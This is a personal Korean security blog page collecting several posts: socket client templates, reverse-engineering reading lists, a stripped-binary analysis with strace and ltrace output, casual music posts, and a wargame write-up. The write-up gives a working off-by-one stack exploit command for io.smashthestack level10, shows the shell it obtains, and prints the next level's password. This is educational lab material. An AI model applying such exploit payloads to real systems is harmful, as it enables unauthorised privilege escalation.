Search results for 'before I die'

Windows socket source

2009. 8. 6. 18:23
#include 
#include 
#include 
#include 

#define BUFSIZE 1024
#define PORT      80

void ErrorHandling(char *message);


int main(int argc, char *argv[]) 
{

	WSADATA wsaData;
	SOCKET hSocket;
	char message[BUFSIZE];
	int len, i, option, result = 0;
	SOCKADDR_IN servAddr;
	struct hostent *host; 
		char *lists[] = {0,};  
	

#if 0
	if(argc!=2) {
		Usuage(argv[0]);	
	}
#endif

#if 1
	if(WSAStartup(MAKEWORD(2, 2), &wsaData) !=0)
		ErrorHandling("WSAStartup() error!");
#endif
	
	for(i=0; i<4; i++) {

		host = gethostbyname(lists[i]);

		printf("trying to connect %s...\n", lists[i]);
#if 1
	 hSocket=socket(PF_INET, SOCK_STREAM, 0);
	 if(hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");
#endif

	 option = TRUE;

     setsockopt(hSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&option, sizeof(option));
	
	 memset(&servAddr, 0, sizeof(servAddr));
	 servAddr.sin_family = AF_INET;
	 servAddr.sin_addr.s_addr = inet_addr(inet_ntoa( *(struct in_addr*)host->h_addr_list[0]));
	 servAddr.sin_port = htons(PORT);

	if(connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("connect() error!");

	//sprintf(message, "GET /index.html HTTP/1.1");
	sprintf(message, "hello");

	send(hSocket, message, strlen(message), 0);
	
#if 1
	len=recv(hSocket, message, BUFSIZE-1, 0);
	message[len] = 0;
	if(len == -1) {
		printf("Can`t connect %s.\n", lists[i]);
		result--;
	}
	if(len > 0) {
		printf("Success.connected to %s.\n", lists[i]);
		result++;
	}
	closesocket(hSocket);
#endif
	}

	if(result > 2) {
		printf("This machine seems to be clean\n");
	}
	else if (result <2 && result >0)
		printf("Warning. This machine needs to be other inspection.\n");
	else {
		printf("Infected!. Need some help.\n");
	}

	WSACleanup();
	return 0;
}


void ErrorHandling(char *message)
{
	fputs(message, stderr);
	fputc( '\n', stderr);
	exit(1);
}

badcob OS/Windows

linux socket source

2009. 8. 5. 17:22

쓸때마다 매번 찾는게 귀찮아서..

 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SERVER "xxx.xxx.xxx.xxx"
#define PORT "xxxx"
#define TRUE 1

void error_handling(char *message);

int main(int argc, char **argv) {

    int i,sock;

    char exploit[]="";

    unsigned char recv[512]= {0, };

    int str_len;
    int option;
    socklen_t optlen;
    
    /************* socket initialize and connect ****************/    

    struct sockaddr_in serv_addr;
    sock=socket(PF_INET, SOCK_STREAM, 0);
    if(sock == -1)
        error_handling("socket() error");

    optlen = sizeof(option);
    option = TRUE;

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));
    memset(&serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family=AF_INET;
    serv_addr.sin_addr.s_addr=inet_addr(SERVER);
    serv_addr.sin_port=htons(atoi(PORT));

    if(connect(sock, (struct sockaddr*)&serv_addr,sizeof(serv_addr))<0)
        error_handling("connect() error!");

    /****************** main start ********************/

    if((str_len = read(sock, recv, 64))==0)   //Read 1
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv); 

    if((str_len = read(sock, recv, 64))==0)   //Read 2
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);

    if((str_len = write(sock, first, strlen(first))) == -1) ///write 1
       error_handling("write() error");
    
    if((str_len = read(sock, recv, 64))==0)  //Read 3
        error_handling("read() error!");
    recv[str_len]=0;
    printf("Message from server : %s \n", recv);  

    close(sock);
    return 0;
}

void error_handling(char *message)
{
    fputs(message, stderr);
    fputc('\n', stderr);
    exit(1);
}

'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

6회 kisa 해킹방어대회 6번

2009. 7. 9. 11:13
첫날.. 종료전에 5번까지 풀고 6번문제를 붙잡고 다음날 대회가 종료되도록 삽질만 했던 아픈 기억이 있다.

암호화는 제대로 공부하지 못한 부분이라서 헤맨것도 있지만.. 하루종일 헤매다 끝내 rsa 복호화를 못해서
예선에서 탈락하였다. 뭐 작년에 이틀내내 삽질해서 2문제 풀고 지지 친것에 비하면 장족의 발전이긴 하지만
만족할 수 없었기에 대회가 끝나고 나서 이런 저런 일로 바쁜 와중에도 계속 해서 rsa 복호화는 머릿속을 맴돌았다.

결국 다시 붙잡고 끙끙대기 시작한지 3일만에 만들긴 했지만 참 부족한 실력이라는 것을 다시 한번 몸과
마음에 새길 수 있었다. 루틴 자체는 워낙 간단해서 별다르게 적을게 없다.

파이썬으로 짠 소스를 보니 정말 간단히 해결한다.
숫자가 커지니 c로 핸들링하기엔 생각할것도 많아지고 소스도 길어진다.

역시 대세는 파이썬 인듯 싶다. vortex는 파이썬으로 시도를..


'Sabzil' 카테고리의 다른 글

how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
Shellcode site  (0) 2009.09.29
hey JJAAPPPHH ~  (4) 2009.08.17
hey JaPH  (1) 2009.08.12
ABI (Application Binary Interface)  (0) 2009.03.17
Nefif_rx  (0) 2009.03.17
usleep에 대해서  (0) 2009.01.08
strtok_r  (0) 2008.09.29
this is RAM  (0) 2008.08.21

badcob Sabzil

The best text for Reverse Engineering

2009. 6. 23. 03:06
http://www.reddit.com/r/ReverseEngineering/comments/8tq12/what_are_the_best_text_for_reverse_engineering/

Reverse Engineering 을 위한 괜찮은 문서들이 뭐가 있느냐
위의 링크를 클릭하면 여러 댓글들을 볼 수가 있으며 간략하게 정리하자면 다음과 같다.

Texts

  Lena151's video tutorials
                                      - 유명한 튜토리얼
  Reversing: Secrets of Reverse Engineering    - 얼마전에 번역되서 출판됨
  Application Hacking  
  Hacking: The Art of exploitation                    
  The Shellcoder`s Handbook                         

  The Art of Assembly Language                                  
  Grey Hat Hacking
  The IDA Pro Book                                     

Links

  http://crackmes.de
 
http://reversing.be
 
http://3564020356.org/
  http://www.woodmann.com/fravia/index.htm  
 
http://www.sploitlab.org/reverse-engineering/
  http://www.tuts4you.com

국내
 
   
http://www.simples.co.kr                             


 본것도 있고 안본것도 있으며 모르는것도 있다.  
 괜찮은 사이트나 책 또는 문서들을 보게되면 하나씩 추가를.

 해야될 것은 안하고 새벽에 머하는 짓인지 모르겠다..

'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Protection ID  (0) 2011.05.11
Vmware detection by vmware I/O port  (0) 2011.04.18
TightVNC portable  (0) 2010.09.08
7.7 ddos 바이너리 대충 분석  (2) 2009.08.06
Reversing for Newbies (written by Lena)  (0) 2009.03.27
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing

요즘은

2009. 6. 21. 02:15
생각하기 싫어하는 병에 걸린것 같다. 뭔가가 수학적인 연산이나 논리적인 추론과정이 필요한 때가 오면
나도 모르게 Alt + Tab 을 누른다. 생각하고 하는 행동이 아니라 반사적으로 뇌가 피곤해지는 것을 거부하는
 반응 같다고나 할까..

일이든 공부든 생각 안하고는 할수가 없는데.. 상황이 이러니 아무것도 못하고 있다.

'what`s up' 카테고리의 다른 글

i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24
Daft Hands - Harder, Better, Faster, Stronger  (0) 2009.06.18
이소라 track 8  (0) 2009.04.05
이거..  (0) 2008.06.04

badcob what`s up

Daft Hands - Harder, Better, Faster, Stronger

2009. 6. 18. 01:42



 Daft Punk의 Harder, Better, Faster, Stronger . 처음엔 꼼지락 꼼지락 거리길래 별 생각없이
봤는데 ..
보다보니 정말 대단!! WOW!!  

어찌됐던 노래 흥겹고 맘에 든다.

'what`s up' 카테고리의 다른 글

i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24
요즘은  (0) 2009.06.21
이소라 track 8  (0) 2009.04.05
이거..  (0) 2008.06.04

badcob what`s up

binary analysis in linux box without symbol

2009. 6. 15. 16:31

제목이 너무 거창한 감이..

시작은 symbol table 이 제거된 바이너리 분석을 어떻게 해야 될까 였다. codegate 2009 1번 문제,
io.smashthestack.org 의 2번 문제가 이런 형태였다. 할줄 아는건 gdb 뿐인데 볼게 없으니 T_T.

여기저기 자료를 디벼보다 혹시나 하는 마음에
http://www.wowhacker.org Q/A 게시판에 여쭈어봤더니 strace 로 접근한다는 답변을 얻었다.

system call tracer의 종류와 내용에 대한 링크  http://kldp.org/node/900

ltrace를 사용한 역분석 (from OLSP)  http://linux-virus.springnote.com/pages/2737040

리눅스 디버깅에 관련된 링크. http://www.ibm.com/developerworks/kr/library/l-debug/index.html

예선에서 9등을 한 베트남 친구들이 쓴 보고서를 참조해서 binary 1번을 생성했다.

http://vnsecurity.net/Members/lamer/archive/2009/03/11/codegate2009/


int main(int argc, char **argv)
{
int len;
void *retaddr;
len = 0;
if (!argv[1])
{
puts("argv[1] is null");
exit(1);
}
if ( len > 23 )
exit(1);
len = strlen(argv[1]);
memfrob(argv[1], len);
retaddr = (char *)&retaddr + 11; // return address;
         원래는 0x0C --> 10진수 11로 수정 (ubuntu 8.10)
printf("argv[1] = %s \n size = %d\n", argv[1], len);
*(int *)retaddr = argv[1];
}


gcc로 컴파일 하고 strip -s 옵션으로 심볼테이블을 모두 삭제하고 strace로 살펴보았다.

adcob@badcob-desktop:~/work$ strace ./beistcon1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

execve("./beistcon1", ["./beistcon1", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 36 vars */]) = 0
brk(0)                                  = 0x9a8c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8008000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50837, ...}) = 0
mmap2(NULL, 50837, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ffb000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340g\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1425800, ...}) = 0
mmap2(NULL, 1431152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e9d000
mmap2(0xb7ff5000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158) = 0xb7ff5000
mmap2(0xb7ff8000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff8000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e9c000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e9c6b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7ff5000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb8025000, 4096, PROT_READ)   = 0
munmap(0xb7ffb000, 50837)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8007000
write(1, "argv[1] = kkkkkkkkkkkkkkkkkkkkkk"..., 52argv[1] = kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkK
) = 52
write(1, " size = 41\n", 11 size = 41
)            = 11

--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Process 14067 detached

이것만 봐서는 memfrob 를 쓴다는 것을 확인할 수가 없다. ltrace로도 돌려보았다.
 
badcob@badcob-desktop:~/work$ ltrace ./beistcon1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

__libc_start_main(0x8048494, 2, 0xbfc22a04, 0x8048570, 0x8048560 <unfinished ...>
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                                  = 37
memfrob(0xbfc2373d, 37, 0xbfc22958, 0xbfc22980, 0xb7ef3ff4)                    = 0xbfc2373d
printf("argv[1] = %s\n size = %d\n", "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"..., 37argv[1] = kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkK
 size = 37
) = 59
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++


아하. 요렇게 보니 조금 감이 온다. 하지만 100% 분석은 어렵다 .저기서 발생하는 세그먼테이션 폴트가 리턴어드레스를 덮어 씌워서 발생하는 것이라는 것을 알수 있는 방법은 경험에 의한 직감 뿐이 없는것일까. (지금이라면 나도 리턴어드레스 일지도 모른다고 예상을 할것 같다..)

실로 불충분한 글이다.. 어디다 물어볼 곳도 없고 답답함..

별거 없었다. 걍 scp든 ftp든 파일 가져와서 IDA 로 돌리면 디스어셈블된다.. IDA 가 진리다...ㅅㅂ 단 심볼이 없으므로 함수 이름 등의 정보는 확인할 수 없다.

static + runtime 조합으로 윈도우에서 분석하는것처럼
IDA 로 디스어셈블해서 펼쳐놓고 EDB로 하나하나 확인하면 비슷하게 할수 있을듯.  으라챠!

PS. http://simples.kr/bbs/board.php?bo_table=13_1&wr_id=21&page=2 에 정적 링크된 Stripped ELF 바이너리 상에서의 함수 탐지 기법 이라는 글을 발견. 2nd CodeEngn에서 태인규님(blog.hackken.org)이 발표하신 자료로
Grayresolve라는 IDA plugin을 이용해서 함수 이름을 탐지하는 방법에 대해서 나와있다.

grayresolve down http://www.codeengn.com/2008/Archive/grayResolve.plw







'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05

badcob OS/Linux

level10

2009. 5. 4. 18:26

꾸역꾸역 풀고 있긴 합니다만 언제 다 풀런지 모르겠군요T_T

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[256];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}



level10 의 소스입니다. functin f 의 취약점을 이용해서 입력값 조작을 통해 cookie 값을 "0xdefaced"로 바꾸는게 목적인듯 합니다.

        i = (int *)getebp();    
      limit = *i - (int)buf + 1;

      for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

냄새가 나는 부분입니다. 실제로 값을 찍어보면 limit에 0x105 (261)이 들어가서 그만큼 argv의 값을 buf 에 집어넣게 됩니다.( 처음엔 이값에 - 가 찍혀서 .. 자세히 보지도 않고 몇일간 삽질을..)

일단 보고 드는 생각은 그냥 stack에서 cookie 값까지 덮어 씌워서 defaced 로 바꿔주면 되겠구나 했습니다. 그러나 limit 의 크기가 작아서 거기까지는 덮어씌우지를 못했습니다. 어떻게 할까 고민하다가 전역변수로 눈을 돌려봤습니다. limit 와 i 가 전역변수니깐 .bss 영역에 있을 저값을 어떻게 조작할수 없을까 해서 몇일동안 허송 세월을 했습니다. 삽질할때는 참 끈기 있게도 잘 찾아보는거 같습니다 -_-;

몇일 헤메다가 비누님한테 한번 여쭈어 봤더니 30분만에 푸시더군요. 설명은 정확히 해주지 않으셨지만 포인트는 확실히 알았기에 차분히 한줄씩 브레이크포인트 걸어서 살펴봤습니다. 입력값을 점점 늘리면서(argv의 크기 변경) main 함수의 ebp의 변화와 f 함수를 호출하고 난뒤의  레지스터값을 체크해봤습니다.


f 함수의 디스어셈블된 코드

(gdb) disas f
Dump of assembler code for function f:
0x080483fb <f+0>:       push   %ebp
0x080483fc <f+1>:       mov    %esp,%ebp
0x080483fe <f+3>:       sub    $0x110,%esp
0x08048404 <f+9>:       call   0x80483f4 <getebp>
0x08048409 <f+14>:      mov    %eax,0xfffffffc(%ebp)             // eax에는 ebp가 들어있습니다. ebp-4 로 이동.
0x0804840c <f+17>:      mov    0xfffffffc(%ebp),%eax                // i 를 eax로  
0x0804840f <f+20>:      mov    (%eax),%edx                              // eax의 주소를 edx로
0x08048411 <f+22>:      lea    0xfffffefc(%ebp),%eax                       // buf 를 eax로 buf의 위치는 ebp-260 부터 입니다.
0x08048417 <f+28>:      mov    %edx,%ecx                                   // edx를 ecx로
0x08048419 <f+30>:      sub    %eax,%ecx                                // ecx(1의 주소값) 에서 edx buff의 값을 뺍니다.
0x0804841b <f+32>:      mov    %ecx,%eax
0x0804841d <f+34>:      inc    %eax
0x0804841e <f+35>:      mov    %eax,0x804974c                  // 0x804974c 에 limit의 값이 있습니다.
0x08048423 <f+40>:      movl   $0x0,0x8049750                            
0x0804842d <f+50>:      jmp    0x8048452 <f+87>
0x0804842f <f+52>:      mov    0x8049750,%edx
0x08048435 <f+58>:      mov    0x8049750,%eax
0x0804843a <f+63>:      add    0x8(%ebp),%eax
0x0804843d <f+66>:      movzbl (%eax),%eax
0x08048440 <f+69>:      mov    %al,0xfffffefc(%ebp,%edx,1)
0x08048447 <f+76>:      mov    0x8049750,%eax
0x0804844c <f+81>:      inc    %eax
0x0804844d <f+82>:      mov    %eax,0x8049750
0x08048452 <f+87>:      mov    0x8049750,%edx
0x08048458 <f+93>:      mov    0x804974c,%eax
0x0804845d <f+98>:      cmp    %eax,%edx               c가 limit 보다 크면 빠져나간다.
0x0804845f <f+100>:     jge    0x8048470 <f+117>
0x08048461 <f+102>:     mov    0x8049750,%eax
0x08048466 <f+107>:     add    0x8(%ebp),%eax
0x08048469 <f+110>:     movzbl (%eax),%eax
0x0804846c <f+113>:     test   %al,%al
0x0804846e <f+115>:     jne    0x804842f <f+52>
0x08048470 <f+117>:     leave 
0x08048471 <f+118>:     ret   
End of assembler dump.


 

f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.

(gdb) b *main+63
Breakpoint 1 at 0x80484b1

(gdb) b *main+68
Breakpoint 2 at 0x80484b6

(gdb) r `perl -e 'print "A"x256'`                 버퍼 사이즈인 256개부터 시작했습니다.

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x257'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x258'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x259'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x260'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x261'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41                main 함수 ebp의 값이 바뀌었습니다.

(gdb) r `perl -e 'print "A"x262'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x263'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x264'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x265'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x266'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x267'`             

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28                   argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41                   f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다. 
                                                                    
(gdb) r `perl -e 'print "A"x268'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x269'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x270'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x271'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x272'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x273'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x274'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x275'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x276'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x277'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x278'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x279'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x280'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x281'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x282'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x283'`

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc18       0xbfffdc18

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc41       0xbfffdc41

........


(gdb) r `perl -e 'print "A"x300'`

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc08       0xbfffdc08

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc41       0xbfffdc41



이렇게 한참동안 생각없이 입력하다보니 f 함수 호출뒤의 ebp 값이 전부 같길래 한번 스택에서 값을 확인해봤더니..

0xbfffdba8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbb8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbc8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbd8:     0xbfffdc41        0x080484b6      0xbfffdd9f       0x0023c2e8
0xbfffdbe8:     0xbfffdbf8          0x08048380      0x0023dff4      0x08049718
0xbfffdbf8:      0xbfffdc30        0x080482dd      0x00000002      0xbfffdca4
0xbfffdc08:     0x000003e8       0xbfffdc30         0x0023dff4      0x00000000



이게 뭡니까.. for 문에서 261만큼 값이 대입될때 ebp 까지 덮어버려서 마지막 1바이트값만 바뀌는 것이었습니다.

결국 ret 구문에 의해 main 함수로 돌아갈때 조작된 ebp 의 값이 main 함수의 ebp 값이 되버리는 간단한 현상이었습니다 -_-;;;;;;

main 함수에서는 0x08048488 <main+22>:   movl   $0x3e8,0xfffffff0(%ebp)   ebp-16에 쿠키값을 집어 넣습니다 .따라서

위에서 나온것처럼 0xbfffdbd8 을 ebp로 해서 -16 인 0xbfffdbc8에 \xed\xac\xef\x0d 를 넣어주면 되겠습니다.


(gdb) r `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\xd8","A"x22'`

실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.

/levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'

최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)

level10@io:/levels$ /levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'`

sh-3.1$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10)

sh-3.1$ cat /home/level11/.pass
bu8itdus



 쉬운문제였는데 뻘짓만 정말 한가득을 했습니다.. 졸려서 마지막은 날림으로..
 이런 에러를 off-by-one 이라고 부르는군요.   비누님 감사! (http://en.wikipedia.org/wiki/Off-by-one_error)

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

이소라 track 8

2009. 4. 5. 06:27
요새 이노래만 거의 듣고 있습니다. 들으면 들을수록 이소라씨의 감성에 빠져드네요.
eliott smith 라.. 시간 날때 굿 윌 헌팅이나 다시 봐야겠습니다.



'what`s up' 카테고리의 다른 글

i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24
요즘은  (0) 2009.06.21
Daft Hands - Harder, Better, Faster, Stronger  (0) 2009.06.18
이거..  (0) 2008.06.04

badcob what`s up

Reversing for Newbies (written by Lena)

2009. 3. 27. 09:53

01. Olly + assembler + patching a basic reverseme
02. Keyfiling the reverseme + assembler
03. Basic nag removal + header problems
04. Basic + aesthetic patching
05. Comparing on changes in cond jumps, animate over/in, breakpoints
06. "The plain stupid patching method", searching for textstrings
07. Intermediate level patching, Kanal in PEiD
08. Debugging with W32Dasm, RVA, VA and offset, using LordPE as a hexeditor
